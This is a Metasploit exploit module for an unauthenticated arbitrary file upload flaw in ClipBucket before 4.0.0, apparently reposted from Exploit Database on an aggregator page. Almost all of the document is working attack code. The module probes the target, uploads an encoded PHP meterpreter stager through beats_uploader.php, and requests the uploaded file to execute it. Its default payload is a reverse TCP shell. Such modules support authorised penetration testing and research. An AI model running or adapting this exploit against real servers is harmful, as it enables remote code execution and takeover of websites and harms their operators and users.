ClipBucket – ‘beats_uploader’ Arbitrary File Upload (Metasploit)

• Exploit Database
• 37 阅读

• 作者： Metasploit
  日期： 2018-03-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44346/

• ##
  # This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",
  'Description'=> %q{
  This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).
  A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.
  It is possible for an attacker to upload a malicious script to issue operating system commands.
  This issue is caused by improper session handling in /action/beats_uploader.php file.
  This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'www.sec-consult.com', # Vulnerability Discovery, PoC
  'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module
  ],
  'References'=>
  [
  [ 'EDB', '44250' ]
  ],
  'DefaultOptions' =>
  {
  'SSL' => false,
  'PAYLOAD' => 'php/meterpreter/reverse_tcp',
  'Encoder' => 'php/base64'
  },
  'Platform'=> ['php'],
  'Arch'=> ARCH_PHP,
  'Targets' =>
  [
  ['Clipbucket < 4.0.0 - Release 4902', {}]
  ],
  'Privileged'=> false,
  'DisclosureDate'=> "Mar 03 2018",
  'DefaultTarget' => 0))
  
  register_options(
  [
   OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])
  ])
  end
  
  def uri
  return target_uri.path
  end
  
  def check
  vprint_status('Trying to detect ClipBucket on target.')
  
  # check for readme file
  res = send_request_cgi({
   'method' => 'GET',
   'uri'=> normalize_uri(uri, 'readme')
  })
  
  unless res
  vprint_error('Connection failed')
  return CheckCode::Unknown
  end
  
  unless res.code == 200 && res.body.include?('ClipBucket')
  vprint_error('Could not find readme')
  return CheckCode::Safe
  end
  
  # check for beats_uploader.php file
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(uri, 'actions', 'beats_uploader.php')
  })
  
  unless res
  vprint_error('Connection failed')
  return CheckCode::Unknown
  end
  
  unless res.code == 200
  vprint_error('Could not find beats_uploader.php')
  return CheckCode::Safe
  end
  
  Exploit::CheckCode::Appears
  end
  
  def exploit
  
  # generate the PHP meterpreter payload
  stager = '<?php '
  stager << payload.encode
  stager << '?>'
  
  # Setting POST data
  post_data = Rex::MIME::Message.new
  post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload
  post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading
  post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"')
  data = post_data.to_s
  
  
  print_status('Uploading payload..')
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(uri, 'actions', 'beats_uploader.php'),
  'data'=> data,
  'ctype'=> "multipart/form-data; boundary=#{post_data.bound}"
  })
  
  jsonres = res.get_json_document
  
  # If the server returns 200 and success yes, we assume we uploaded the malicious
  # file successfully
  unless res && res.code == 200 && jsonres['success'] == 'yes'
  fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
  end
  print_good('Looking For Payload..')
  pdir = jsonres['file_directory']
  file_name = jsonres['file_name']
  pext = jsonres['extension']
  print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")
  
  # Payload name
  pname = "#{file_name}.php"
  
  # Cleanup is Good Idea .
  register_files_for_cleanup(pname)
  
  print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]" )
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(uri, 'actions', pdir, pname)
  })
  
  # If we don't get a 200 when we request our malicious payload, we suspect
  # we don't have a shell, either.
  if res && res.code != 200
  print_error('Unexpected response, probably the exploit failed')
  end
  end
  end